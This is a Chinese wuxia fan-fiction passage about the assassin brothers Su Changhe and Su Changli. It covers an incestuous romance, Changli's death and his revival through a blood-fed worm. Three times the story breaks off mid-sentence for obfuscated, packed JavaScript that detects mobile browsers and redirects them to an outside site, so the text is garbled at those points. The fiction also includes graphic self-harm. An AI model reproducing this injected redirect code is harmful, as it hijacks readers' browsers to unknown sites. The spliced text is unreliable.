苏昌河等他喝了一口,才放下茶杯,似笑非笑:“再说说你做的事儿吧。” 苏昌离僵住了。 苏昌河问:“你小子色胆包天,把主意打到你哥哥头上了?” 苏昌离怔住,讶异地抬头看苏昌河:“哥……”他很惊讶苏昌河的坦然,惊讶之余,不由委屈,他对哥哥的倾慕,怎么就被定义到色心上了? 苏昌河不动声色地观察着苏昌离的表情,作势摸摸下巴:“我知道我英俊潇洒迷人,不过把弟弟迷倒了这有点罪过呀。” 苏昌离满脸迷惘,就这样吗?他可是喜欢上了亲哥哥!还敢轻薄亲哥哥!这是悖逆乱-伦!大哥的态度怎么能这么轻松? 苏昌河一眨不眨地盯着苏昌离的表情,突然咧嘴一笑,显得嬉皮笑脸颇不正经:“昌离,你要是喜欢男人,要不考虑下暮雨……”苏昌离猛地站起来,声音堪称尖锐:“哥!” 苏昌河的态度不是轻松,是太轻佻了,好像根本没当一回事儿。 眼看苏昌离脸上浮现受伤的神色,苏昌河沉默几息,长长叹了口气:“唉——好吧。” 他往后一靠,舒展开身体,没头没脑地说:“你做吧。” 苏昌离又茫然了。 苏昌河从下往上抬眼斜睨着他,张开手臂:“你想对我做什么,都可以,来嘛。” 苏昌离惊恐万状,差点没后退一步:“哥?” 苏昌河好笑:“除了叫我你不会说话了吗?” 见苏昌离被吓得一惊一乍,苏昌河只好也站起来:“从小到大,你难得有想要的。” 苏昌离很努力很努力不给哥哥增添负担,从来不说自己想要什么,后来发现哥哥对自己无所不知,如果他有想要的,哪怕不说出口,总是悄无声息就到他手里,他就连喜好都尽力不展现出来了。 苏昌河抬手,似乎想比划一下苏昌离的身高:“你从鬼哭渊出来后,我本来想给你寻摸一把好剑,没想到师范那么欣赏你,把腾空传给你,我当时也找不到更好的了。” 往常他会把手放在苏昌离肩膀或手臂,这次落在少年的腰上:“你想要我,行啊,这是我给得起的。” 苏昌河用额头抵住苏昌离额头:“想要吗?” 苏昌离用尽全身力气抵御自己说“想”的强烈渴望,艰难地问:“哥……你喜欢我吗?” 苏昌河笑意温柔:“当然喜欢,不喜欢我怎么会一直带着你,连到暗河都拖着你一起,还有我说过的……”死也要拖着昌离一起。 他们正在说爱,苏昌河不想此刻说死来煞风景。 苏昌河轻易能看透苏昌离在顾虑什么,习以为常地安抚:“跟谁过日子不是过,算算我也到成家的年纪了,哎,你可是第一个对我示好的人,那很好啊,正好省得祸害别人家姑娘,就让你担待我啦。” 苏昌离突然感到一阵强烈的伤心。 他有好多话想说,他觉得哥哥对他的喜欢不是他这种喜欢,他觉得哥哥不能因为宠爱弟弟就连这种非分之想都能妥协,他觉得哥哥成家这件事非常重要应该要找一个彼此情投意合的人,他觉得哥哥跟谁在一起都不是祸害对方…… 可是苏昌河最了解他的唠叨性子,才不想在这个时候听他喋喋不休,直接用吻把他嘴堵上。 苏昌离睁大眼睛,苏昌河也没闭眼,可是垂着眸很专注在吻他,跟他偷偷摸摸落在哥哥脸颊上那个轻飘飘的吻完全不同。 意识到这是在和肖想已久的哥哥亲热,苏昌离瞬间脸颊爆红,心跳得太剧烈,以至于他感到疼痛,这次的疼痛是甜蜜的,他张口就已经醉了。 苏昌河从来没有跟任何人如此亲密过,但是他满怀掠夺的本性让他不用教就知道怎么做,吻得越来越深,苏昌离被搅得头晕目眩,站都站不住,在感觉自己要软倒之前,他伸出双手拥抱住苏昌河,随后也被苏昌河紧紧抱住,苏昌河揽住他的双手非常坚定有力。 和哥哥拥抱着,苏昌离胸中满是前所未有的勇气,他会让大哥幸福的,无论是因为什么开始、因为什么维持下去,他要让哥哥因为这份关系感到幸福,这么多年他看到哥哥时感受到的、此刻在他体内盈满的喜悦和温暖,他想要让哥哥也能感受到。 这是身为苏昌离必须做到的事情,和报仇一样,但比复仇更宏大、更久远,这是他穷尽一生的使命。 * 苏昌离琢磨着要送哥哥一件新发饰,他还没送过恭喜哥哥当上大家长的礼物呢。 小时候哥哥对着他叫的苗族名字是“Nix”,写成北离字大概是倪或者猊,苏昌离想打一枚猊兽纹的发饰送给哥哥。 苏昌河收到后,看着那只威武的猊兽,神秘莫测地笑了笑,爽快地别在自己脑后那条小辫子的发绳上。 他的昌离,他的阿倪,他的弟弟。 7.同源同归 苏昌河左脸颊上生着一枚小痣,苏昌离脸上也有,很不起眼,在右眼下眼皮,藏在下睫毛之中,稍不注意就看不见。 在那场属于暗河的血之夜,整个暗河天翻地覆,苏昌河控制的新生代一夜之间几乎把老人旧人清除殆尽,战斗中苏昌河脸上受了伤,就在右眼下方,差一点被刺中眼睛。 这是当夜苏昌河受得最轻的一处伤。 本来这道伤不至于让人多想,可是那一道伤口末端在下眼皮,直接贴着眼膜,敷药的时候,因为怕药性伤到眼睛,唯独下眼皮这一处没有上药,留下一点疤痕。 苏昌离帮苏昌河换药的时候,忍不住说:“这也太巧了。” 苏昌河也觉得巧得出奇,抬起手指轻轻抚一下苏昌离眼皮的小痣,苏昌离下意识觉得痒,眨了眨眼。 苏昌河只觉得弟弟可爱,忍不住一笑:“好吧,就这样了。” 这是小事,巧就巧吧,总不可能是有人故意的。 养伤的时候,苏昌河戴了一副银质面具,挡住大半张脸,后来就没再摘下来。 闲时他对苏暮雨说:“我发现啊,不让人看到自己的表情,是挺舒服的事情。你当傀的时候这么自在的吗?” 苏暮雨知道苏昌河一贯不喜欢暴露自己的真实意图,可是当上了大家长,从此身边都是信任的家人,也需要如此吗? 苏暮雨不喜欢问问题,并没有问出口,也没有回答。现在他是苏家主,已经不需要再戴傀的恶鬼面具,新的大家长身边会有新的戴那副面具的人。 之后足足九年,苏昌河都没有在人前摘下过面具,他所有的情绪和思想在面具之后很安全,不为人得知,也不被人理解。 一直到苏红息抱回来苏昌离的尸体。 苏昌离被斩断心脉,身前的衣服全被心口溅出来的血染红了,面容完好无损,神情甚至很从容。 苏昌河想,苏昌离死的时候在想什么? 他已经知道苏昌离死前发生的所有事情,包括苏昌离说的:“死在这样的剑下。不妨。” 苏昌离一直很喜欢练剑,苏昌河不懂但是尊重,他曾经觉得用怒气养剑的路数不适合昌离,想给弟弟换一把更加不染纤尘的好剑,就像白鹤淮给苏暮雨的“鹤雨”,可苏昌离拒绝了,说剑是凶器,苏昌河就作罢了。 此刻他突然感到后悔,他应该多问两句,应该坚持要把那柄剑送给昌离,或许昌离换一柄剑,就不会再用这样不留余地的剑法,不会再干在追杀中欣赏目标的剑法这样的蠢事。 苏昌河总是弄不懂苏暮雨、苏昌离这样内心保有几分剑客意境的杀手,昌离死在让他满意的一剑下,会有点高兴吗? 苏红息满脸的泪水和苏紫衣满脸的杀气都凝固了,毛骨悚然地看着大家长摘下面具。 自从苏昌河当上大家长,就一直戴着这副面具,不知道他在独处或者和苏昌离、苏暮雨这样的家人相处的时候会不会摘下,可是没有外人再看到过大家长的脸。 血夜之前苏紫衣苏红息就算苏昌河的人,曾经很熟悉苏昌河的面容,时隔九年,苏昌河相貌看起来没什么变化,只是脸色极其苍白,不似活人。 那双冷漠的眼睛看向她们,音色低沉发寒,却没有多大起伏:“别哭,杀手不应该因为死了同伴而哭,昌离一生杀过几百人,可自己却只死了一次。怎么算都是赚的。” 大家长平稳地开释她们,还轻轻拍了拍她们的肩膀。 苏红息苏紫衣噤若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215395|196944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒蝉,没有任何力道加诸在她们身上,可她们只觉得呼吸困难,马车厢里气机凝滞到了极点,苏昌河是半步神游,武功修为到他这个境界,心意已近乎可以沟通天地,此刻这一方天地似乎已经死了,若不是自己还存在人世,她们简直不能理解这块地方还有人能活着。 苏昌河的视线转回到弟弟身上,过分苍白的肤色让他看起来宛如一尊白石雕塑,无情无绪,无血无泪。 大家长注意挪开,静滞的空间活过来,苏红息苏紫衣猛地喘过气来,苏紫衣已经明了大家长的态度,嘶声道:“这个仇,我们一定要报。” 苏昌河没有看她,也没有应声,喃喃自语:“我是昌离的哥哥。所以我的愤怒,比你们都要深。”声音仍旧听不出太大波动。 他已经摘下那副面具,所有的情绪却仍被锁在无形的屏障之下,不得展露,他的躯壳不受控制,体内真气也在不受控制地狂躁,汹涌回荡,充盈全身,沉默地在皮肤下鼓动,终于游走到一处薄弱点。 苏红息只见大家长右眼下眼皮处绽开一道小小的伤口,一线血落下来,划过面颊,像他右眼流下的一道血泪。 苏昌河怔了一下,抬起手指轻轻抚一下眼皮下方的血痕,忽地看向苏昌离右眼的那枚小痣,藏在两重睫毛里,更是看不分明。 刹那间许许多多苏昌离的画面纷至沓来,如山呼海啸般充斥脑海,每个场景中的弟弟都很可爱,让他忍不住想笑一笑,苏昌河几乎以为自己已经露出笑容,可是石像般的面容上仍旧纹丝不动。 苏昌河轻轻伸手,沾着血的手指按在苏昌离心口,贴在血液已经停止流动的皮肤上。 从同一个母亲诞生的血液,时隔多年分离之后,终于再次融为一体。 8.不死蛊 苏昌离作为暗河杀手,正式在江湖闯出名号,是突破自在地境后的第一个任务。 他接了提魂殿的手书去杀武当传人王虚臣,持续整整三个月,横跨大半个北离,从天启追到西域。 王虚臣号称轻功无双,逃起命来自然不留余力,又是名门之后,途中诸多亲友相帮,或拦截、或追杀苏昌离,苏昌离一路战斗无数,受了大小十余次伤,可是每一次在王虚臣自以为逃脱生天之后,他又会神不知鬼不觉地出现,继续追杀,直至完成任务。 很有暗河的作风,不死不休,乃至于根本称不上暗杀。 在这个任务中见过苏昌离的人都已经死绝,但他留下的尸体,和以前任务零零散散留下的痕迹联系到一起,被江湖人称为“大剑鬼”,步入暗河一流杀手的层次。 作为兄长,苏昌河早就想插手苏昌离这次任务,但被苏家拦住,因为苏昌离搞出的动静已经太大了。 苏昌河不可能真就乖乖呆着等消息,对苏家主死缠烂打,成功接手这件事的内务,调动暗河沿途据点助阵,帮苏昌离排除障碍,王虚臣的亲友实在多,暗河额外杀的人都快满两只手。 直到王虚臣和苏昌离一逃一追得越来越远,跑出北离国境,想阻拦和想帮忙的人都鞭长莫及。 半个月后苏昌离带着王虚臣的头颅返回北离边境的暗河据点,任务尘埃落定,苏昌河才能快马加鞭赶过去。 苏昌离受伤颇重,先倒头昏迷几日,然后卧床休养,一天里睡的时候比醒的时候多,这天他醒来,喝到熟悉的药,就知道是苏昌河来了。 苏昌河没守在他旁边,还在据点处理这件事的善后。 饭点苏昌河带着餐食来看他,苏昌离一看就知道大哥又出去做坏事了。 苏昌离还起不了身,只能吃流食,据点做内务的都是退休杀手,做饭标准是能入口就行,搞出来的流食简直就是猪食,苏昌河只看了一眼就让他们拿走,转头去绑了当地最有名的大厨来做饭。 苏昌河可没觉得在做坏事,他这不是心疼弟弟,受了伤还吃不上点好的,绘声绘色地对苏昌离讲那位倒霉大厨在据点闲杂人等围观中战战兢兢地做饭,又说起这三个月暗河里发生的新鲜事,最后话音一转,数落他对待任务用心过头,在第一个月就该放弃了。 暗河行事不死不休,但暗河又不是只有一个人,王虚臣以轻功见长,苏昌离不是最适合执行这个任务的人,他失败了暗河自然会安排别的杀手继续。 任务失败又怎么样,暗河本家人死不起了才搞出炼炉,每批孩子各种消耗最后下鬼哭渊的不足一半,从鬼哭渊爬出来的只有十分之一,哪怕是耗材也是昂贵的耗材,不会被轻易放弃。 苏昌离声音仍旧含着虚弱:“我不能逃,也不能输,输了……就是死了。” 苏昌河端碗的手顿了顿,声音忽地柔和两分:“已经不在鬼哭渊了,任务失败个几次也没关系,大不了受点罚。” 罚也不至于责罚太重,别的无名者无依无靠,昌离还有个大哥呢。 苏昌离固执地说:“当杀手,技不如人就会死。” 苏昌河搁下碗,有些恼怒:“又不是比武,什么叫技不如人,此计不成再生一计不就行了,跟谁学的这么死脑筋?” 苏昌离凝视着他:“跟大哥学的。” 苏昌河一时哑然。 苏昌离微微扯一下唇角,眼中毫无笑意:“大哥,你的计划,每一个计划,失败了还有活路吗?” 他声音虽轻,语气却很重。缓缓抬手,伸指到苏昌河腰封里,捏住那枚属于苏昌河的彼岸指环取出来。苏昌离手臂无力,动作很慢,苏昌河没有躲,也没有制止他。 幼时苏昌河找到暗河自荐,如果暗河不能忍受他的窥探,直接把他杀了呢?替苏暮雨做点灯童子,是因为他觉得苏暮雨一定活不下去,自己则未必,果然他在慕阴真的阵法里保住一命,可是慕阴真把重伤的他抛弃在任务地点,如果苏暮雨没去找他呢?还有现在这个……夺取暗河的计划。 苏昌河眼眸垂下又抬起:“我的任务当然也失败过。” 暗河传颂苏昌河和苏暮雨的搭档,说只要他们两人一起,任务就没有失败过,他们两个各自做任务还真都经历过失败。 苏昌离摇头:“那不一样。” 苏昌河烦躁地一捋头发,苏昌离是个聪明小孩,苏昌河确实没有真的失手过,他失败的任务都是故意的,因为他在任务里另有所图。 苏昌河试图换个角度说服他:“我都成功了。” 苏昌离毫不动摇:“我都赢了,每一次任务。我是大哥的弟弟,我也能做到。” 苏昌河无可奈何:“弟弟不就该活在哥哥的庇护下吗?依赖我不好吗?” 苏昌离又笑一下,是他一贯温和的样子:“大哥也可以依赖我。” 苏昌河组建起彼岸有几年了,手上发出去几十枚指环,还没有给过苏昌离。之前他一直觉得没有必要,昌离是他的亲弟弟,立场不需要任何言语或标记,他要是能成功,好处少不了昌离的,他要是失败,清算的时候昌离也逃不掉。 他不想昌离掺和彼岸的事情,不想昌离做危险的事情。昌离只需要在终点和他一起分担结果,无论是胜利的甜美果实还是失败的苦果,不必陪他在过程里苦熬。 可他知道昌离一直想加入,这小子还不肯开口,只是拗执地想尽办法在任务里证明他已经足够强大。 苏昌河又是自豪,又是头疼,想骂一句苏昌河不学好,可是舍不得,最后硬生生给自己憋得气笑了,从苏昌离指间夺过那枚指环,再粗暴地塞到他手心,咬牙切齿地说:“给你!” 苏昌离抿唇笑一笑,笑意很浅,可是格外真实生动。 他想握紧彼岸戒指,可手指使不上劲,一用力就发颤,只能松松握住,苏昌河就把指环给他戴上。 苏昌离的武器是那么宽大的巨剑,手指倒细长,戒圈有点大,苏昌离怕滑落,就把手指攥成拳头。 苏昌河把手盖在他拳头上:“你要答应大哥,一次都不准输。” 苏昌离:“我不会输。” 苏昌河:“绝对不能死了。” 苏昌离:“我不会死。” 苏昌河:“不要让我再失去你一次。” 从圣火村逃出来的那一次,苏昌离差点就死了,一度在苏昌河怀里已经失去了呼吸。 苏昌河潜入五毒门去偷了一只他们的药蛊——五毒门是南荒最大的门派,对南荒普通村民压榨甚巨,每年都会逼各个村子出特定类型的人去以精血替他们饲养一批批药蛊,他们兄弟的母亲被选中去过,苏昌河曾经偷偷潜入五毒门去看阿娘,知道怎么走,也知道看守的弱点。 那是他生平第一次杀人。 林叶都笼罩在夕阳的暖橘色时,苏昌河带着沾血的药蛊回到藏着弟弟的地方,苏昌离流的血太多了,已经好几天什么东西都吃不下,他匆忙间找来的草药也不管用。 把药蛊给苏昌离喂下去的时候,苏昌河还以为已经来不及了,苏昌离的呼吸已经没了,蛊虫入体也没有反应。 苏昌河抱着弟弟尚温的身体发了会儿呆,然后回想起当年见过娘亲被那些人强迫用精血喂蛊的场景,他割开自己的手臂,掰开苏昌离的嘴把血喂进去,蛊虫还活着,立马主动开始吸收血液。 他不记得自己喂了多少,只记得天还没黑他眼前就已经全黑了,摸到怀里的昌离恢复呼吸也不敢停,一直到昌离虚弱地出声喊他:“哥……住手……你会死的。”他脑子都僵了,还在不知疼痛地挤自己的伤口,昌离用尽力气,一头撞在他胸口:“停手……哥哥……哥……哥哥!” 苏昌河昏了过去,幸好他们藏身的这个洞窟有苏昌河为了救苏昌离做的所有准备:捣烂能给昏迷之人喂下去的食物、水、简单处理后的止血药、保暖用的树叶草团。 靠着蛊虫而恢复一点的苏昌离用这些东西勉强照顾苏昌河,熬到苏昌河醒过来。 已经成为一个武功高手的苏昌离说:“我不会的。” 苏昌离紧跟着说:“哥,对不起。”他伸出另一只手,像小时候那样握住苏昌河的手臂,不是为了把他推开,“我不会再让你丢下我,我会追上你的,你也不用停步等我,我能跟上……” 苏昌河说:“不要跟丢了。” 苏昌离承诺:“我不会的,我会一直在大哥身后。”他不会跟丢,因为他知道大哥一直在前方保护他。 有件事苏昌离一直知道,他没有阻拦过,因为知道拦不住,每次他受重伤,在暗河治疗,喝的药里都有苏昌河的血。 哪怕离开苗疆,苏昌河还是一直在用自己的血喂养苏昌离体内的药蛊。 苏昌河以为苏昌离真的能做到,在每一次任务里胜出,带着他的性命回来。 可是逍遥天境的苏昌离带着搭档和属下,追杀雷门与雪月城一个金刚凡境弟子的任务,苏昌河以为万无一失的任务,苏红息抱回来苏昌离的尸体,眼睛通红:“昌离死了。” 苏昌河有很多事情要做,刚刚和萧崇谈妥,萧景瑕那里是个烂摊子,要给萧羽的信还没发,苏暮雨和谢七刀仍在拦截雪月剑仙的路上,还有这个任务一定不是表面看上去那么简单,还有昌离的仇……昌离的仇…… 苏昌河说:“他不会的。”他语气没多少愤怒,也没什么伤痛,“我这个大哥还在,昌离就不会死。” 苏昌河摘下面具的阻隔,专心致志地看着呼吸全无的弟弟。 有一瞬间苏昌河觉得,他从来都没有逃出南荒,狼狈奔逃了这么多年,他还是在那座广阔潮湿的深山里打转,索命的鬼神如影随形地追着他们,他背着昌离,无论怎么跑都跑不过。 苏昌河的手指抽搐一下,抬手把苏昌离抱到身前,苏昌离衣襟微动,掉出两个小东西,落在苏昌河衣摆上,苏昌河低头看了一眼,那是苏昌离的彼岸指环,穿透心脉的剑气也将指环斩成两半,已经被苏昌离心口的血液浸透了。 苏昌河的眼神波动一下,谁也没法从他脸上看出这一刻他在想什么,然后苏昌河把苏昌离抱得更近一些,近到他能感知到那只饮过他无数血液的药蛊。 药蛊还活在苏昌离体内,这么多年,潜伏着,在每一次苏昌离受伤的时候冒出来,汲取兄弟俩的血气。 苏昌河许久不用寸指剑,身无利器,于是并指成刀,割开自己手腕,将鲜血喂给苏昌离。 五毒门的药蛊,掏空了南荒苗疆那么多村民一代代性命和精血培养出来的珍宝。供五毒门内门弟子修炼使用,也是五毒门对外交易的招牌商品。可以将它吞噬的东西反哺给宿主。这只药蛊在多年以前,吞过母亲的血,吞过哥哥的血,挽救回幼小弟弟的生命,现在苏昌河要再做一次。 从苏昌河手腕流下的血液里混着微不可见的火,是苏昌河的性命和修为,一起通过血液灌输给药蛊,灌输给苏昌离。 苏红息和苏紫衣没敢阻拦大家长,尽管苏昌河突然自残的举动看起来像发疯中邪,然后她们迅速提起希望,因为鲜血落入本该已经死去、无法吞咽的苏昌离口中,竟然没有溢出,而是消失在喉中。 苏红息紧紧握着苏昌离的手,满怀希冀地看着大家长施展秘术。随着灌入苏昌离口中的血液越来越多,苏昌河一头乌发从发根处泛起灰白,然后逐渐扩散,直到满头黑发化作雪白,披散在苏昌河身上,让他看起来像被大雪笼罩。 与此同时,那曾经在苏红息怀里一点点冷下去的高大身体,逐渐恢复温热,惨白的面容上浮现血色,胸口重新微微地起伏。 苏昌河不记得自己喂了多久,只知道天还没黑眼前已经全黑了。他不知疲倦、不知疼痛地一次次反复割开伤口,左手腕皮肉翻卷,深可见骨,到最后不需要再制造伤口,血液已经不会凝固。他把左手腕压在昌离嘴上,伤口直接对准口腔,右手掌下昌离的身体已经不像是是死了,而像是睡着了。可是他还怕不够,生怕不够。 苏昌河垂在苏昌离上方的身体越来越低,惨白色的发丝落在苏昌离身上,又被苏昌离的血染上红色。苏红息已经放开苏昌离的手,和苏紫衣面面相觑,作为优秀杀手,她们都能看出苏昌河放出的血已经多到足够要人命的程度,可是她们仍旧不敢阻止大家长,如果秘术还没完成?如果大家长就是要……以命换命呢? 直到苏昌河一头栽倒在苏昌离身上,苏红息扑过去抓住苏昌离,苏紫衣托起苏昌河的身体,两人不约而同去摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250199|196944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉象。 苏红息热泪盈眶:“昌离活过来了。” 苏紫衣脱口而出:“大家长快死了。” 最后是苏红息留下给大家长止血包扎灌下吊命的药,并且暂作守卫。苏紫衣一刻不停地奔去找她们家主,苏暮雨和谢七刀紧急折返,把半死不活的苏昌离和苏昌河带回暗河总部。 苏昌离的性命被药蛊吊回来,缓过那口气就过了死劫,倒是苏昌河的伤更重,根本不是失血那么简单,气血双亏,形神俱损,整个人被掏空了一大半。 幸好他们两个现在不是苗疆孤苦无依的两个孤儿,而是暗河大家长和他唯一的弟弟。 暗河闭门不出,慕雨墨让慕家生死药坊全力施救,用了无数天材地宝,才补上亏损,把苏昌河从鬼门关拉回来。 苏昌离昏迷了十余日,昏睡中他很平静,因为口腔中蕴绕不去的熟悉的血味,让他潜意识觉得极为安全。 醒来时第一个念头是,他这次肯定伤得很重,喝了很多药,口里才有这么重的血味。 然后记忆回笼,苏昌离脸色闪过恐惧,大哥! 他分明记得他是输了,杀手可以胜利无数次,失败一次就是死,他清晰地记得心脉被剑气穿透、性命和巨剑腾空一起从手中滑落的那刻。他的最后一个念头是,他对大哥失约了。 他想不到他还能再醒过来,可是他记得二十年前他在苗疆是怎么醒过来的。 苏昌离猛地起身,心口迸开的疼痛让他差点又仰头倒下去,随即他发现苏昌河就躺在他旁边。 大哥还活着。 虽然头发全白了,脸颊暴瘦,体温很低,面无血色,看起来前所未有的虚弱不堪,可是人还活着。 苏昌离长长松了口气,发现短短几息他已经出了一身冷汗,然后才看见坐在外间门边的慕凉月,隔着帷幔注视着他们。 这是苏暮雨做的安排,他知道这兄弟俩无论谁先醒来,肯定先关心对方的性命,于是把他们放在一处休养,然后让蛛影和当年彼岸中苏昌河最信得过的成员两人一组,轮流内外值守。 按理来说大家长重伤垂危,暗河中做主的应当是傀,可苏昌河选傀的时候完全不是按照忠心程度来选,而是选了当时暗河三位家主之外最强的杀手,傀的性情癫狂好战,此时此刻苏暮雨根本信不过。也幸好傀一天到晚脑子里就想着打架,在暗河威望不高,被三家主联手软禁了起来,连苏昌河的蛛影对此都没什么意见。 今日屋外值守的是蛛影未羊,屋内值守的是慕凉月,慕凉月既是苏昌河的彼岸旧部,也是常跟苏昌离一起出任务、他很熟悉的搭档。 慕凉月见苏昌离醒过来,没有急着出声,等苏昌离注意到她,才撩开帐幔,对苏昌离做了个安心的手势。 苏昌离没有多问,不用问就知道,大哥是为了救他才搞成这个样子,好在最危险的时候已经过去了。 两人眼神一碰,慕凉月就明白苏昌离的意思,低声说:“我叫医师和家主来。”无声无息地走出门。到门外,她对未羊摇摇头,表示大家长还没有醒。 苏昌离忍着心口的疼痛,仔细看了看环境,认出这里是慕家的生死药坊,既然回到暗河,他们就应当是安全的。 苏昌离和苏昌河并排在一张大床上,还有一样东西被放在他们枕边,是苏昌离那枚被斩成两半的彼岸指环。 指环上的血已经被擦净,但大概擦拭得很匆忙,镶嵌蓝宝石的衔接处、内侧刻着“彼岸”二字的凹槽,都还残留有黑红的血渍。 从彼岸取代暗河之后,这个信物就没有再戴在手上的必要。苏昌离把它收在衣服里,放在贴着心口的位置。 慕家的医师说,正是被这枚指环阻碍的那一下,让苏昌离的心脉没有被彻底斩断,还残余着一点连接,保留被修复的可能。如果心脉已经完全被斩断,那么或许真的要一条命才能把苏昌离的命换回来。 苏昌离还不知道这番因果,起身这片刻就消耗他大量力气,他疲惫地躺回去,和苏昌河靠近了一些,手臂贴着手臂。 室内一片静谧,苏昌离静静听着近在咫尺苏昌河的呼吸声,他此刻才发现,他没有向哥哥提出过同样的要求。 哥哥那么强大,智慧无双,永远挡在他前方保护他,所以他从来没有对大哥要求: “不要输。” “不要死。” “不要让我失去你。” 可是现在耳边大哥的呼吸声如此衰弱,作为暗河顶尖的杀手,苏昌离完全能从人的呼吸声听出对方大致的武功修为和身体状态,苏昌河的呼吸太过低微不稳,以至于苏昌离听在耳中,无比陌生,不得不时不时侧头去看一眼。 苏昌河少年出任务也曾重伤垂死过,都没有此刻这么虚弱。 苏昌离眼中映着苏昌河枯白缺乏生机的头发、消瘦的面颊、毫无血色的嘴唇、闭阖的眼睛。这样的大哥只会让他心脏越发揪紧,忍不住把脑袋侧过去,靠得更近,把呼吸声听得更清楚一点。 苏昌离没有太过去想那个失败的任务,雷无桀临阵突破,仍旧比他低一个大境界,新鲜出炉的心剑传人挥出了很漂亮的一剑,可是招式轨迹在他眼里清清楚楚,他躲闪的动作反倒让心脏正迎上那道剑气,电光石火间他就想明白自己究竟输给了谁。 是谁都一样,他去杀对方家里的小辈,长辈怎么可能不还击?杀手不论胜负,只论生死。无论是谁的剑招击中他,都是他输了。 ……可是,他没死。 他说输了就是死了,以为以他的年龄、他的实力已经可以为自己的性命负责,可是到如今,仍旧是大哥从死境中把他的命拽回来。 口腔中还有挥之不去的血腥气,苏昌离不知道这次他喝了大哥多少血,也不知道这些年他总共喝过多少大哥的血,有一个人身体里全部的血液那么多吗? 应该比那还要多。哥哥已经给了他两次生命。 苏昌离应该愤怒于自己的无能、悲痛于杀手的末路、自责于拖累大哥,可是那些东西他都没想,可能因为重伤初醒,脑力不济,他想不了太多东西, 看着身边的哥哥,苏昌离只是在想,对大哥的承诺,虽然他自己没做到,但是大哥帮他做到了。他还没有跟丢。 9.没有常识 === 南安的鹤雨药庄,苏昌河给自己布置了一间屋子,口称这里是我们的家。等苏昌离也到南安之后,白鹤淮不怀好意地问他:“你的家里,没有给你弟弟留个房间?” 白神医说话一贯如此戳心,苏昌河都习惯了,漫不经心地回答:“昌离啊,自然是跟我住。” 白鹤淮总是被苏昌河气得跳脚,难得自觉抓到苏昌河处事不周的把柄,对这个回答并不满意,追问:“这不会是你临时想出来的办法吧?” 苏暮雨代为回答:“贯来如此,还在暗河之中,昌离就是跟着昌河住。” 苏昌离通过鬼哭渊试炼时,受了不轻的伤,纵然苏昌河已经做了一些布置,确保苏昌离能活着出来,可是终究无法替他面对十九个对手挥剑。 按说冠姓之后,真正成为三家之人,脱离无名者身份,是个新的开始,哪怕伤势重一些也不打紧,慕家生死医坊遍地高手,极少有活着走出鬼哭渊的胜者死于重伤不治,养伤期间暂且不用出任务,除了已经葬在鬼哭渊的手下败将没有别的敌人。 但苏昌离不是普通无名者,他有个大哥,而他这个哥哥在暗河风头极盛。看苏昌河不顺眼的人不少,只是都拿苏昌河没办法,难保不会牵连他弟弟。 苏昌河放心不下苏昌离独自养伤,把苏昌离带到自己的屋子安置,之后苏昌离伤势养好了,也一直跟着苏昌河同住,包括苏昌河当上大家长后。 往年星落月影阁里除了大家长,还住着傀、32人的蛛影、守阁人,慕明策的属下都已经卸除职位回归三家,苏昌河的这批属下还一个都没选,搬家的时候他说独自住那么大的地方瘆得慌,把苏昌离也拎到星落月影阁。 亲弟弟用起来最顺手,于是苏昌离给他守门、为他传话、代他发言、按他的命令调遣族人,实际上就是同时承担了傀和守阁人的职责。 === 苏昌河没法说什么,苏昌离进暗河的年龄比他还要小,他都不知道昌离对苗疆的生活还记得多少。苏昌离从稚龄开始在炼炉呆了足足六年,对世界形成认识的时期全都在炼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293213|196944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炉渡过,从小到大在暗河没学到过正常的东西,自己这个大哥也从来没能教他点好的。 和苏暮雨相处,苏昌河能意识到自己有些欠缺常识,苏昌离也没有什么世俗的正常观念,以前苏昌河以为只是体现在,苏昌离对杀人有一种漠然。 苏昌河总觉得自己弟弟天真乖巧,同时他非常矛盾地知道苏昌离是个非常优秀的杀手,杀人干脆利落,毫无芥蒂,没有传出跟送葬师一样的恶名纯粹是因为苏昌河严格把控了发给他的任务。 苏昌河还总觉得弟弟没办法独当一面,另一方面又知道苏昌离是个非常可靠的部下,苏昌河交代给苏昌离任务从来没有出过岔子,苏栾丹还活着的时候,对苏昌河都时常会顶两句,对苏昌离从无二话。 其实苏栾丹不跟苏昌离啰嗦,是因为知道苏昌离只是在贯彻苏昌河的意志,没有自己的想法,跟他说什么都没用。 苏昌河懒得去探究苏栾丹的思路,只是把苏家的事都交给昌离去办,昌离都能打理得妥妥当当,从来没让他操过心。 10.耳环痕 苏昌河是异族人,这是挺明显的事情,他的五官比一般北离人更深邃,瞳色很浅,比起黑色更像棕色,瞳仁边缘泛绿,他还打了耳洞。 